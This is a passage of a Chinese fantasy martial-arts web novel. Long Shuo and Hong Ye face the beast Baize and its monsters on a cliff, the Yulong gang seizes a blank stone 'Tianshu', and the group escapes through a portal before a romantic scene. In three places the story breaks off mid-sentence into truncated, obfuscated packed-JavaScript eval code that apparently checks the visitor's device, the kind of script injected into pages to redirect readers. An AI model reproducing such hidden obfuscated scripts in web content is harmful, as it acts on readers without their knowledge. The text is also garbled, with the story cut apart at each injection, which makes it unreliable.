红叶一会儿朝左边的冰蝶问话,一会儿朝右边的冰蝶点头,过了一会儿,忙拉起龙烁的手臂往西奔跑,边跑边道:“龙烁哥哥,快走——” 龙烁担心道:“为什么这么急,是不是有人受了伤?” “有没有人受伤我不知,不过,这里很危险,咱们得快逃——” “为什么?” “具体我也不太明白,我的冰蝶告诉我,这其中有一个巨大的阴谋!”,红叶整理一下思路说道:“有人想捉住白泽,争夺什么‘《天书》’,刚刚那条修蛇就是为了引开众人保护白泽的,因为白泽就是这万兽山的守护者,是这里的大王,它守护的不是万兽山,而是一本《天书》,这处悬崖便是它的巢穴所在!” 龙烁恍然大悟,心中暗道:“刚才净心眼神有异,我就觉得他应该是有事在隐瞒我们,看来红叶说得是对的,难怪我觉得这个地方如此眼熟,果然便是之前经过的那处悬崖,只是不知净心到底用了什么方法使得三人反向而行,来到了白泽的领地——” “《天书》?” 龙烁想起自己曾经在古书杂录中读到过白泽的故事,大概意思是说:“白泽乃是瑞兽,能言语,通万物之情,知鬼神之事,很少出没,当有圣人治理天下之时,才奉书而至。” 他突然停下脚步疑惑道:“莫非真有此事?” “有什么事?” “这次猎奇之争,西南八俊让大家尽情围猎,唯独不可以杀死白泽,难道他们是想借大伙的力量活捉白泽,拿到它手中的那本所谓的‘《天书》’,莫非那是一本什么武功术法秘之类的奇书?” “啊?不会吧!猎奇之争最近几年都有举办,没听说过什么这里有什么武功术法秘籍啊!我父亲和谢伯伯是世交,西南八俊若是知道此事,我父亲不可能不知道的!” 龙烁未及细想,却听背后一阵奇怪的吼叫之声忽然响起。 这吼叫声先是雄壮浑厚,而后转为绵远悠长,既像狮子,又像绵羊,刚中带柔,柔中有刚,说不上到底是什么动物的叫声。 二人慌忙转身,废墟中跳出一个庞然大物,龙烁定睛一看,那是一头如成年象一般大小的怪兽。 它通体雪白,头有两角,身子健壮,面带胡须,像狮像鹿又像羊,背上还有一对大大的翅膀,难道竟是—— “白泽!!!” 红叶一阵慌乱,抱起龙烁的胳膊叫道:“惨了,龙烁哥哥,咱们怕是逃不了了!” 龙烁张开双臂将她护在身后,颤声道:“别怕——” 他四下眺望,寻找逃跑的最佳路线,然而周围一片杂乱,只北面来时的那条小路略微平坦,却被白泽挡住了。 “你们好——我已在此——恭候多时了!” 白泽的声音苍老而慵懒,听起来倒是不像有恶意的样子。 龙烁强自镇定道:“我们误闯你的领地,并非有意,我们现在就走!” “你们走不掉的——” “为什么?” 一瞬间,嘶吼怒嚎之声四起,周围一下子窜出来十几头猛兽,将他二人围困在了崖边。 这些猛兽大都面目狰狞、丑陋可怖,它们均自垂涎欲滴地盯着龙烁二人,似乎正在等待大王的一声号令便可冲上前来将他二人吞入腹中。 龙烁的目光从这群凶兽身上一一扫过,不禁暗自心惊,这些猛兽他虽然都在书中读到过,却从没在现实世界中见到过,更没想到它们原比书中描述的更加可怕百倍。 红叶害怕道:“这些都是什么怪物啊,好吓人——” 龙烁指着白泽两旁的四头猛兽依次介绍道:“这是穷奇、梼杌、混沌、饕餮,它们号称是上古时代的四大凶兽!”,旋即,他转身指向其他猛兽依次说道:“这边是麒麟、睚眦、貔貅、鬼车,那边是乘黄、梁渠、天狗、狰......” 红叶的目光一下子被那鬼车吸引了,它的脖子上竟然有九个脑袋,均自张牙舞爪地高声鸣叫着。 红叶猛然打了一个寒颤,旋即躲到龙烁的背后藏了起来。 “哈,真是让我意外——” 白泽跨过横在面前的粗树干缓缓向龙烁走来。 “让你意外的事情还多着呢——那个——你别再往前走了,站在那里就好!”,龙烁害怕道。 白泽呵呵一笑,停住脚步悠悠地道:“你的学识如此渊博,却又为什么不学习你们人类所谓的武功术法呢?” 龙烁将红叶牢牢护在身后说道:“我练不练习武功术法又有什么要紧,就算是武功天下第一的高手,遇到现在这种情况,恐怕也难以脱身!” “哈哈——你说对了——” 白泽得意一笑,向它的“手下们”点头示意,四下的凶兽们又将包围圈缩小了一些,它们的嘶吼嚎叫之声震耳欲聋。 “你们要做什么,别乱来啊!” “我已经警告过你们尽快离开了——是你们不听——这可怪不得我——” 凶兽们的包围圈又缩小了一些。 龙烁急道:“我也警告你们啊,我朋友可厉害了,他会施法把这里变成冰天雪地,到时候把——把你们都冻成冰块!” “啊——你是说那个身穿白衣服的人——他来不了了!” “什么?”,龙烁大惊:“你们已经杀了他?” 白泽缓缓道:“我不喜嘈杂,就让巴蛇把它们引到了崖底,这会儿你的朋友应该已经尸骨无存了!” “什么?他们到了这悬崖底下?” 龙烁心下一惊,暗道:“怪不得众人打斗的痕迹忽然消失,原来他们被引到了崖底!” 他急忙转身朝悬崖下面张望,底下漆黑一片,看不到任何人影,也听不到任何动静,顿时怒气上涌,斥道:“哼,我还道你是心念仁慈、心系众生的祥瑞之兽,原来你跟它们一样,都是吃人不眨眼的恶魔!” “是善是恶,原是很难辨得清楚——你们入山围猎,杀了我万兽山中很多无辜的生灵,难道又是什么善人了?” 龙烁一怔,悠悠道:“你我并非同类,确该另当别论!可是——可是我和沐阳公子此次前来万兽山,并非为了打猎。两日以来,我们没有杀过万兽山中的一禽一兽!” “没错——这里发生的一切都逃不过我的眼睛——所以我很好奇——我知道大部分人是为了找我而来,他们是为了寻找巴蛇——那么——你们来这里到底是为了什么?” “他们?”,龙烁疑问道:“你说谁?” 白泽微微侧身,后面突然闪出十几只花纹豹尾的长臂猿猴。 龙烁定睛一看,正是一群举父。 只见每只举父手中都拉着一条长长的藤蔓,口中咿咿呀呀地叫嚣着窜进了包围圈。 藤蔓后面竟然牵得有人,其中一人骂道:“你们这群没死绝的野猴子,有本事放开老子,老子一斧子剁了你们的尾巴,他奶奶的——” 另一人道:“雷兄你省省力气,咱们须得见机行事!” 这人一眼认出龙烁,大喊道:“是龙少侠——” 为首的那人惊讶道:“啊!龙少侠,怎么你也被抓到了这里,其他几位少侠呢?” 龙烁尴尬一笑,说道:“张帮主,此事说来话长,你们怎么也被抓了?” “哎,惭愧!” 张全亮看看周围这群如饥似渴的猛兽叹气道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙烁顿感无语,暗想:“这白泽真是奇怪,我明明说了自己不想知道,而它却硬是要说!不过拖延一些时间也好,让我看看还有什么办法能够脱险!” 他趁白泽滔滔不绝的时候环顾四周寻找出路,然而周围已经被这群凶兽围了个水泄不通,而身后便是万丈悬崖,他暗想:“难道真的只能从这里跳下去?也不知沐阳公子和净心此刻究竟是生是死——” 龙烁正暗自担心,却听白泽说道:“我的祖先出生在上古时代,大约是在8000年前,原是住在昆仑山的,到我这一代,已经是第二十七代了!数百年前,我来到这万兽山,发现山中尚有许多与我同时期的上古神兽,我高兴极了,我依仗我们白泽一族通万物之情的天然优势,成为这里的大王!后来又有谢氏祖先谢峰发现了这里,他用困兽网将这里层层包围,这正合我意!” 它手指周围的那一群猛兽自豪地说道:“你们以为这困兽网能困得住它们,却也能困得住我吗?哈哈,其实那不过是我用来守护万兽山这一方水土安宁的工具而已,所以说,真正困住它们的——是我!” 白泽得意一笑,继续说道:“我利用这困兽网将它们困在山中,既是为了保护它们,也是为了保护你们人类——” 关武抢道:“你纵容属下肆意残杀我们人类,今日入山的英雄将近一半都死在你们手中,你就是这么保护我们人类的?” 关武身后的猛兽突然发出一声怒吼,他回头一看,站在他身后的原来是凶兽穷奇。 它正怒不可遏地嘶吼嚎叫,似在责怪自己打断了白泽的讲话。 只见它前脚抬起后腿站立,张开血盆大口就要扑将过来,却被白泽拦住了。 白泽斜睨关武道:“你们死了很多勇士我很遗憾——我原是不想伤害你们的——自从五年前起——你们每年都会入山打猎——我也并未阻拦——只提示我的子民如遇不速之客注意保护好自己——然而这一次,你们的围猎目标,竟然是我——大家为了保护我不得已而这么做!我让大伙儿赶你们下山——而你们——”,白泽转过头来看向龙烁道:“却硬是赖着不走——我说过了,你们自己跑来送死,这可怪不得我——” 龙烁心中连连叫苦,暗想自己赖着不走确是事实,跑来送死可就是被迫的了,净心这小子也不知用了什么方法骗得我和沐阳公子反向而行误入险境,他若在此我须当好好审问他为何要带我们过来送死。 “好,不如你把《天书》给我们看看,让我们知道那到底是什么神奇的法术,那我们也算死得瞑目了!”,关武道。 “呵呵——”,白泽眼光闪动,咧嘴笑道:“只怕我拿出来——你们仍是死不瞑目!因为不仁不义、不神不圣之人就算拿到这本书,也根本难以参透其中道理——你们既然想看,那就给你们瞧瞧也是无妨——” 24.万兽围攻 它说着低下头来,从自己胡须后面叼出一本厚厚的白色古书放到地上。 这本书并不算大,只巴掌大小,书身也并非竹简或者宣纸材质,而是由某种坚硬的石头制成。 龙烁从没见过这种石书,黑夜中竟还闪着如同太阳般的金色光芒,不禁为之惊讶。 玉龙帮的人一阵骚动。 雷霆哈哈大笑道:“谢庄主要咱们来寻找白泽,却对这《天书》只字不提,其实江湖上早有传闻,说你白泽手握的《天书》乃是几千年前古人创出的一本奇书,得奇此书者得天下,这比他们谢氏祖传的那个什么困兽网不是有用的多了吗?” 严塑嘿嘿笑道:“只是大家均有所不知,要找到你谈何容易,只有文武兼备的有德之士来到这里,你白泽才会出现,而我们张帮主正是这样的人,任别人谁来,恐怕也不能引你出来!” 关武不知何时已经解开手腕上的藤蔓,他俯身期到白泽面前,将那《天书》抢在手中,旋即快速后退喊道:“众位兄弟——保护帮主!” 一瞬间,玉龙帮的众人迅速从腰间抽出一对车轮大斧,咔咔几下砍断捆在手腕上的藤蔓。 藤蔓未及落地,板斧已经掷出。 七八只举父应声倒地,其余的举父嗷嗷惨叫几声便迅速逃走了。 雷霆手持大斧直指倒在地上的一只举父骂道:“你们这些臭猴子远投倒是不错,近攻却是不行了吧?虽然让你们跑了几只,也算是给我死去的兄弟们报仇雪恨啦——” 白泽微微叹一口气,说道:“你们无论如何也逃不出去的——垂死挣扎不过是苟延残喘罢了——” 它轻轻向后一跃,退到包围圈外,周围的猛兽一拥而上,与玉龙帮的众人拼杀在了一起。 那只鬼车鸣叫一声,飞到高空之后俯身向下,直冲各人头顶袭去。 龙烁见玉龙帮的众位兄弟齐心协力地应对背后野兽的袭击,不一会儿功夫,便然砍死了七八只猛兽,心下暗暗赞道:“原来玉龙帮的英雄们是故意被那些举父抓住,他们有意隐藏实力,是为了寻找机会夺得《天书》,这一定是那严塑出的计策!” 关武知道龙烁没有燕沐阳的帮助无法使出高深的锥风术,于是护着龙烁和红叶二人绕过悬崖,沿着众人打斗的边缘退到包围圈外。 他翻开手中的《天书》仔细一看,突然浑身一颤,叫道:“糟糕,上当了——” 龙烁忙问道:“关大哥,怎么了?” 然而关武并未理会,而是挥舞着板斧,直冲包围圈中的张全亮跑去。 “红叶,怎么回事?” 红叶微微摇头表示不知,却见龙烁身后一只饕餮正张着血盆大口冲他二人袭来,忙喊道:“龙烁哥哥小心——”,她说着飞身将龙烁扑倒在地,助他躲过了饕餮的偷袭。 感受到龙烁厚重的呼吸和坚实的胸膛,看着他那俊朗的面庞,红叶忽感双颊滚烫,又怕被龙烁发现端倪,立时起身闪到一旁。 龙烁没有注意到红叶的异样,却见那只饕餮一击失败之后仍不死心,它后腿猛力一蹬,转而又来攻击。 龙烁扶起红叶叫道:“快跑——” 没等她反应过来,龙烁便拖拽她着向西奔去。 红叶回头一瞧,但见那饕餮穷追不舍越奔越近,她连忙吹口哨召唤冰蝶。 一群冰蝶蜂拥而至,在饕餮即将要咬到红叶的衣襟前及时以冰蝶蚕丝将他二人拉上了天。 饕餮一个纵跃,跳出近两三丈高,它咬破红叶右腿的裤边后又落回到地面。 这饕餮见那二人凌空飞起飘在空中,嗷嗷叫了几声便悻悻转身,加入到其他阵仗中去了。 龙烁的手脚被冰蝶蚕丝牵引着,他一动也不敢动,生怕这细长的蚕丝载不动他沉重的身体而把他掉了下去。 冰蝶十分暖心地在他二人周围来回穿梭吐丝,不一会儿功夫便为二人制成一张透明柔软的冰丝帐供他二人坐卧。 “哎呦,我的裤子——” 龙烁看到红叶的右腿露出一大片雪白的肌肤,自觉非礼勿视,转头不敢再看,问道:“红叶,你没事吧?” 红叶蜷缩起右腿摇头道:“没事!” 龙烁望向下面那群打斗的人,见张全亮和关武正与一只麒麟兽较量,其他人三五成群地与其他猛兽厮打。 地上已经横七竖八地躺了一地凶兽的尸体,玉龙帮此时大占上风,这才稍稍安下心来。 突然间,一只鬼车从侧面袭来。 龙烁一鼓作气猛伸出右手,一把抓住它的脖子,冲红叶大声喊道:“快捂住耳朵——” 红叶不明所以,但还是听话照做,死死的捂住耳朵。 龙烁伸出左手打一个圈,用冰蝶蚕丝死死勒住鬼车的脖子,旋即用力一拉,鬼车的九个脑袋便撕心裂肺地高声惨叫起来,直震得他不得不张开嘴巴以防耳膜被震破。 片刻之后,那鬼车终于安静下来。 龙烁见它身子缩成一团,已经没了气息,这才松开手臂,将尸体远远掷开,气喘吁吁地瘫坐了下来。 半个时辰后,下面的凶兽仍是源源不断地从四面八方袭来。 一波未平一波又至,似是总也杀不完。 龙烁又不禁暗暗担心,长时间的作战几乎耗尽了大伙的精力,此时大部分都人或多或少地受了伤,恐怕坚持不了多久了。 果然,那边严塑体力不支,斧头砍劲不足,一只睚眦趁机咬断他的右臂,将其一头撞到了崖边。 雷霆见他脚底不稳,险些坠崖,连忙飞身前去相助。 忽然之间,一只身形如豹的狰突然窜将出来。 只见它狰狞一笑,用头上的那只犄角朝严塑腹部猛力一戳,立时刺破他的胸口,又直直地穿过他的后背。 雷霆赶到之时已然来不及了,那狰仰起脖子微微一挑便将严塑挑落了悬崖。 “严兄弟——严兄弟——” 张全亮离得较远,周围又有猛兽不断侵袭,只得不住哀嚎着继续作战。 雷霆一声怒吼,狂性大发,他举起斧头将那头狰劈成两半,随即朝崖边大喊严塑的名字,却又被一只梁渠逮到机会从背后偷袭。 龙烁大喊一声:“小心背后——”,却见那梁渠一个纵跃,四腿一蹬,踢中了雷霆的屁股,顿时将他踢落悬崖。 “雷霆——” 关武大吼一声,拼命砍杀,周围猛兽接连倒下。 四下不断有人受伤,龙烁正自连连叹息,忽见一只毕方火鸟从天空中划过,它高声鸣叫之际吐出七八个圆滚滚的大火球,燃着了周围一大片的树木。 火光照耀之下,下面的景象让龙烁不禁又倒吸一口凉气。 只见包围圈外,目光所及,天上飞的地下跑的,尽是各种各样的凶猛神兽,甚至还有之前没见到的古雕、鸾鸟、豪彘、长右等等等等。 它们正自源源不断地向中间那片打斗场涌来。 龙烁不禁打一个寒颤,暗想不知远处黑暗之中更有多少凶兽,连连哀叹道:“这样下去,不被打死也要活活累死了!” 忽听一阵轰鸣响彻天际,空中突然划出一道闪电。 众人头顶上方出现了一片黑压压的云层。 云层极低极低,似要触及龙烁的头发,颇有一种黑云压城城欲摧的态势。 片刻之后,云层中闪出一只飞天应龙,这应龙长得鳄口锯齿、背生双翅、鹰爪鹿角、细尾蛇身。 那应龙在空中翱翔一会儿,转身直冲龙烁二人飞来。 它一声怒吼,口中喷出一道细长的水柱,将他二人浑身的衣襟都打湿了。 冰蝶承受不住水柱的侵袭,翅膀纷纷折断。 龙烁二人直勾勾地摔入打斗场中央,倒在一只混沌的身旁。 红叶见那混沌长得似犬非犬、长毛阔脸、有耳不闻、有目不见,简直是奇丑无比,直吓得魂不附体,“啊”的一声叫了出来。 龙烁一惊,赶忙捂住她的嘴巴。 只见那混沌慢悠悠地转过笨重的身躯,低下头来在龙烁的衣襟上来回嗅闻。 仿佛被什么东西刺激到了一般,那混沌突然间变得异常暴躁,不知从哪里发出几声呜呜的吠鸣后便抬起前脚猛朝龙烁踩踏下来。 龙烁来不及起身,只得滚动身子闪到一旁,与红叶分了开来。 混沌的大脚猛然坠地,便如同大象之脚一般在地面上踩出了一个深坑,将周围弄得尘土飞扬。 龙烁浑身湿透,又在地上一滚,全身弄得满是泥土,此时视线又被遮挡,他心中焦急,大喝一声:“红叶!” 忽觉背后衣襟一紧,整个身子忽地被什么东西提到了半空之中。 尘埃稍定,龙烁发现自己已经离地三尺,正在空中来回摇荡。 他回头一看,却见一只巨大的貔貅正叼着自己背后的衣襟疯狂摆首,骇然大叫道:“救——救命——救命啊——” 一道白色剑芒从头顶掠过,他只觉背后一松,身子陡然坠地,他回头一看,但见那貔貅一声哀嚎便欲倾倒,直冲自己身子砸来。 龙烁大惊,暗想这貔貅少说也有三百斤重,砸中自己非死即伤,他躲闪不及,大叫一声“哎呦”之后便闭上眼睛不敢再看。 片刻之后,安然无恙。 龙烁微微睁开眼睛,却见那只貔貅已然倒在自己身旁,它痛苦地扭动了几下便即死去。 龙烁抬头一看,却见一袭白衣矗立眼前,燕沐阳手持冰剑正在凝视着自己。 龙烁心中一阵后怕,埋怨道:“燕沐阳,你怎么才来?” “龙大哥——” 净心在燕沐阳身后不远处挥动齐眉棍打死一头豪彘说道:“你知道我们一定会来?” “废话,这么长时间不见巴蛇的踪影,必是还在与你们争斗,你们也太逊了,一条蛇竟然应付了这么久——” 燕沐阳暗自摇头,没有搭话,他伸出右手,将龙烁一把扶起,随即又去与其他猛兽拼杀。 此时周围除了玉龙帮的人,又多出了五六个党项族人,各人都是手握大刀吆喝着与凶兽拼命厮杀,只是不见那名爱叫嚣的刀疤老者,不知他是否已经遇难。 红叶跑上前来道:“龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“白泽,实在不好意思了!”,龙烁得意道:“你的朋友没有我的朋友本事大,我也说过了,让你意外的事情还多着呢,净心,快——” 净心立即会意,催动矩纸穿行法术在半空中划出一个长方形的穿行洞口,旋即高声叫道:“大家快进洞口——” 白泽忽然一惊,瞪大眼睛大声喊道:“不能让他们逃走——” 龙烁催促道:“大家抓紧时间,快——” 李元彪带领自己的兄弟们率先跳入洞口隐没其中。 玉龙帮的兄弟们跟着进入了洞口,关武却迟迟不动,他举起手中的《天书》朝白泽喊道:“此书乃是赝本,真正的《天书》到底在哪里?” 张全亮连忙拉住关武道:“你不要命了吗,快走!”,随即将他拉进了洞口。 红叶只顾盯着龙烁看,谢灵雨拉起她的胳膊,生生将她拖进洞去。 包围圈越来越小,前赴后继的凶兽离龙烁仅不足丈余,净心催促道:“龙大哥快走——”,随即拉着他向洞口期去。 “沐阳公子怎么办?”,龙烁急道。 “我给他单独又开一个洞口,他不会有事的——” 龙烁见燕沐阳身后果然还有一个三尺左右的方形入口,这才跟着净心退了出去。 二人退进洞口内侧后,净心欲将洞口封死,龙烁伸手拦住,留下一个碗口大小的孔洞供其向内窥探,却见燕沐阳引着众凶兽缓缓退到他身旁的洞口处,旋即他猛一发力,冰琴便即崩裂,将周围的猛兽击倒一大片,随即他纵身一跃,跳进洞去。 那些凶兽眼见燕沐阳跳入的洞口突然间消失不见,更加狂暴起来,它们前赴后继地向空气中胡乱撕咬,仿佛想把洞口再撕开一样。 龙烁担心燕沐阳的安危,不住向里张望,待到亲眼见到燕沐阳跳入的洞口已经彻底封死后,这才放心下来。 忽见白泽突然出现在眼前挡住了视线,吓得他一跃而起,心中怦怦直跳。 没有了龙烁手掌的阻拦,那洞口越缩越小,在洞口消失前的一瞬间,龙烁仿佛看到白泽朝自己发出诡异一笑,而后挑衅地说道:“一切还未结束!” 那洞口彻底封闭之后,龙烁便再也看不到什么了。 他惊魂稍定后,却见众人均已瘫坐在地,党项族人包括李元彪在内只剩下四个人,玉龙帮包括张全亮在内也只余下六个人,那个最年轻的傅兄弟却也没能活着出来。 红叶见龙烁安然无恙,颗悬着的心才放了下来。休息片刻后,她起身直奔谢灵雨而去,怒斥他做事总是一意孤行、自以为是,从来不尊重她的意愿云云。 张全亮忙着给关武的大腿上药,关武却竖着耳朵听那对年轻人吵吵闹闹,感叹自己年轻时也是如此心浮气盛。 东方出现了鱼肚白,此时已是黎明时分。 龙烁发现周围是一片熟悉的空地,原来他们已经回到了会宾场。 25.天选之人[番外] 李元彪朝净心躬身一礼,说道:“我已信守诺言,助你们脱了险,咱们算是扯平了,我等告辞,后会有期!” 他朝众人微微点头,随即带领三名部下径自离去。 龙烁暗暗惊奇,此刻那李元彪说话的声音异常洪亮,不再像先前那么断断续续,口中咕噜咕噜的声响也弱了许多,喃喃道:“他的声音怎么变了?” 净心道:“啊,是这样,龙大哥,这李元彪原是患有心腹疾病,气滞血瘀,累及脏腑,需得吞食巴蛇的血肉来医治!刚刚他抓捕巴蛇时差点被吞入腹中,幸得有沐阳公子相救才保住了性命。大家合力帮他砍下了巴蛇的信子,他啃食了一些血肉这才缓解了心腹之疾!” “什么?” 龙烁差点惊掉下巴:“那蛇信子是被他啃的?” “对呀——” 龙烁脑中闪出李元彪啃食巴蛇信子的画面,顿感一阵恶心,转身便吐。 “你怎么了,龙大哥?” 净心帮他拍拍后背。 “我没事——” 龙烁挥了挥手,继续作呕,然而两天来他几乎没吃什么东西,腹中空荡荡的什么也吐不出来。 过得片刻,龙烁渐感舒畅,转身看向红叶,她仍在因谢灵雨做事总是违背她的意愿而大声呵斥他,嘱咐净心道:“这事儿你别跟红叶说啊,不然她定会吐得比我还厉害!” “好!” 见龙烁四下眺望寻找着什么,净心笑道:“沐阳公子就在山北,离此地不远,一会儿就会寻过来啦!” 龙烁嘿嘿一笑,说道:“净心你真是好样的,多亏了你,大伙才能平安出山,不过有件事我还是要问你,是不是你引我们去到那悬崖的?” 净心垂下眼帘,不好意思道:“是!” “你到底是如何做到的?又为什么要那么做?” 净心略一沉思,说道:“龙大哥,我给你说实话你可不能怪我,我内心是不想伤害你的,这你一定要相信。” 龙烁微微一笑,说道:“你看我有要责怪你的意思吗?若不是你带我们反向而行,我又怎么会那么快能找到红叶,我谢你还来不及!我当然知道你不会伤害我们,否则你又怎么会三番四次地救我呢!” 净心不住点头,凑到龙烁耳边小声说道:“龙大哥我给你说,昨晚咱三人在篝火旁边休息的时候,朦胧中我看到一个白影从树林里闪过,当时我还道是沐阳公子,睁开眼睛后发现沐阳公子原来一直在你旁边静坐休息并未离开,于是我起身前去查看,竟然在林中发现了一根雪白的毛发!” 他说着从怀中取出一根一尺多长的银白发丝。 龙烁接过一看,竟是那白泽的胡须。 净心继续说道:“我师父跟我说起过,白泽不会轻易出现,除非它找到了那个天选之人!这个人一定是思想至纯、功力至深,能力极高、意念极强的人!白泽此时突然出现,我想那个人一定就是沐阳公子!” 龙烁恍然大悟,他知道燕沐阳是个干净纯粹的人,却没想到竟然连白泽都会被他的修养和气质吸引,心中对他更多了一些敬佩。 “所以我很好奇那白泽找沐阳公子到底想做什么,于是我就撒谎说要小解,趁机跑到前面用矩纸穿行术法改变了咱们前行的方向,当时夜色正深,视野受限,我的穿行洞口开得甚大,所以你们也没有发现异常!” “噢,原来是这样!” 龙烁回想昨晚的经历,喃喃道:“这白泽许是年纪大了,说话神神道道的,每一句都似乎话中有话,不知它葫芦里到底卖的什么药!” 净心搔搔他光秃秃的脑袋,转身走向关武说道:“关大爷,可否让我们看一下那本《天书》?” 龙烁暗想净心可能是看着关武太也显老,所以叫他关大爷而不是叫关大哥。我却一直关大哥关大哥地叫着,这么说来,我岂不是长了净心一辈?而净心却叫我做龙大哥,这辈分便又乱了,不禁暗自好笑。 关武看看张全亮,见他微微点头,无奈道:“帮主,咱们痛失帮中这么多兄弟,连军师严塑和武将雷霆都饶上了性命,到头来却是一场空,这口气我实在咽不下,咱们需得想办法去讨个说法!” 他从怀中取出那本石制《天书》扔给净心道:“这本书虽然做工华丽,里面却是什么也没有,是一本无字《天书》,我们留着也是无用!给你——” 净心接过《天书》打开一看,里面果然空荡荡的什么也没有,疑惑道:“莫非真是假的?” “我看未必!”,龙烁道:“白泽不是说,不神不圣不仁不义之人即使拿到《天书》,也不能领略其中要义,咱们不是神圣仁义之人,自然不能看明白!” 净心点头称是,想着等沐阳公子回来后,让他一探究竟。 关武哈哈大笑道:“这鬼话骗得了你们,可骗不过我们,什么仁义神圣之人,那都是糊弄人的,我们张帮主向来以仁义闻名天下谁人不知?他既能引得那白泽出现,又能说他不是仁义神圣之人了?” 张全亮让他不要太过张扬却没拦住,只听关武继续说道:“白泽不是说让咱们看一看也好死了心?现在我们看到了,也确实死了心。所以我说,要么就是根本没有《天书》,要么就是真的《天书》仍然在白泽那里,而这本一定是假的!” “真的也好,假的也罢!此书出自万兽山,即归我谢氏所有,我需得拿回万兽山庄向我爹爹禀报,昨晚发生的事还请诸位不要声张!”,谢灵雨转身朝净心说道:“净心师傅,请你将《天书》奉还——” 净心合上《天书》却不想放手,又考虑谢灵雨说得很有道理,略一思忖,将《天书》交给了他。 谢灵雨接过《天书》后突然转身,一掌将龙烁推倒在地,随即抽出一支雕翎羽箭搭上弓弦,箭尖直指龙烁面门道:“你是想跟我单打独斗,还是等你那朋友回来再说?” 龙烁连连摆手,却听净心和红叶异口同声道:“你干什么?” 净心取出齐眉棍将那雕翎羽箭向上一扬,箭尖转而斜指到了天上。 “谢灵雨,你疯了!” 红叶张开双臂拦在龙烁身前道:“你回去跟谢伯伯说吧,我无论如何不会嫁给你的!” 谢灵雨怒道:“父母之命,媒妁之言,岂是你我说了算的?我要教训教训这姓龙的小子,你让开!” “除非你一箭将我射死,否则我绝不允许你伤害他——” 关武腿部受了伤,行动不便,故意拖长声音说道:“哎,年轻人啊——” 龙烁知他是有意帮助自己,他这句话的潜台词是“这点事何必大动干戈!” 张全亮看明白了他们之间的矛盾,站起身来劝说道:“谢少庄主,若非有这几位少侠相助,恐怕咱们早已成了那些凶兽的口粮,现下索性捡回一条命,还有什么事情不能坐下来好好商量的呢是不是?” 谢灵雨没想到这么多人会护着那姓龙的小子,愤愤地哼了一声,拉起红叶的手道:“走——” “去哪里,放开我——” 红叶一把甩开他的手臂。 “什么去哪里?回家啊,伯父伯母托人送信,他们正到处找你,难道你还不回去?” “我不回去,你替我转告他们,如果硬要逼我出嫁,我就离家出走——” 谢灵雨拿她没有办法,说道:“这话要说你自己去说,我不会替你说!走不走在你吧,反正你不跟我走,也会有人来带你回去的——” “你这话是什么意思?我爹爹妈妈也来了是不是?” 红叶见谢灵雨的背影迅速远去,即使听到自己的问话也不再回答,气呼呼地剁了剁脚。 张全亮将龙烁扶起身后笑道:“龙少侠,我看你摊上的这个事可不算小啊!你自求多福吧!我们就此告辞了——” 龙烁尴尬一笑,说道:“张帮主见笑了,后会有期!” 玉龙帮的众人离开之后,净心说道:“龙大哥,既然《天书》已被收回,那我也没什么要紧的事要做啦,我得回天泉寺去了,不然又要被师父责骂,咱们有缘再见啦!” 龙烁点头微笑道:“净心,多谢你屡次出手相救,我龙烁一定不忘你的恩德,他日有机会再涂报答,后会有期啊!” 净心朝龙烁和红叶二人摆了摆手,不自觉地露出胸前那个青色的月牙。 “咦?”,红叶好奇道:“这个月牙是你的胎记吗?” 净心浑然不觉自己胸前的衣衫已经破烂不堪,整理一下衣服道:“啊,这不是胎记,胎记是红色的,我这是青色的,我也不知道是谁给我刺的,自我记事的时候起就带着它了!再见了红叶姑娘,请你日后多多照顾我龙大哥不要为难他哈,呵呵!” 红叶知他是暗指自己脾气不好,喝道:“你这小鬼头,只有你龙大哥欺负我的份,你何时见我为难过他啦!” 净心嘿嘿笑着转身跑开了。 “我欺负你?”,龙烁苦笑道:“此话怎讲啊?” “哼!”,红叶轻嗔薄怒:“你欺负了我,却浑然不知,龙烁哥哥,我现在再问你,你到底,愿不愿意跟我远走高飞?” 原来她是怨龙烁在兄弟和她之间选择了兄弟。 龙烁喃喃道:“这个,那个,红叶,你听我说——” “不必说了——” 红叶眼中泛起泪花,委屈道:“我知道了——” 龙烁最是见不得女子流泪,急道:“不是,你知道什么了?不是那样啊——” “不是哪样?” “不是你想的那样啊——” “我想的是哪样?” “这个——我不知道你想的是哪样,总之不是你想的那个样,还有许多别的样!” 红叶扑哧一笑,泪水在眼眶中盈盈闪动,片刻之后又簌簌流下,龙烁顿时感受到什么叫作“梨花带雨”,竟忍不住将她一把搂在了怀里。 “你别哭了好不好,你听我说——” 红叶拂去泪水,轻轻推开他道:“我只想知道,你到底喜欢不喜欢我!” 龙烁斩钉截铁地道:“喜欢——” 闻声,红叶心中喜悦无限,眼泪更是抑制不住地快速滑落,她悠悠道:“我就知道,那——那你为什么不愿意跟我远走高飞?” “那是因为我有一些别的顾虑!”,龙烁轻声说道:“首先,我这次出游,实际也是背着父亲离家出走,这些日子我屡遭凶险,终于体会到了父亲从小对我诸多教诲的良苦用心,他老人家的养育之恩我尚未报答,又怎么能够就这样一走了之,跟你远走高飞呢是不是?其次,你母亲说过,谢公子出身名门、文武双全,跟你那是门当户对,你们从小一起长大自不必说,他又对你一往情深。万兽山中我们遭到举父袭击,也是他及时出现替我们解了围。他的救命之恩我们尚未报答,我又怎么能够不顾义气恩将仇报横刀夺其所爱呢?那样的话我龙烁不是成了见色忘义、猪狗不如的畜生了?” 红叶轻哼一声道:“龙烁哥哥你这话说的不对!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 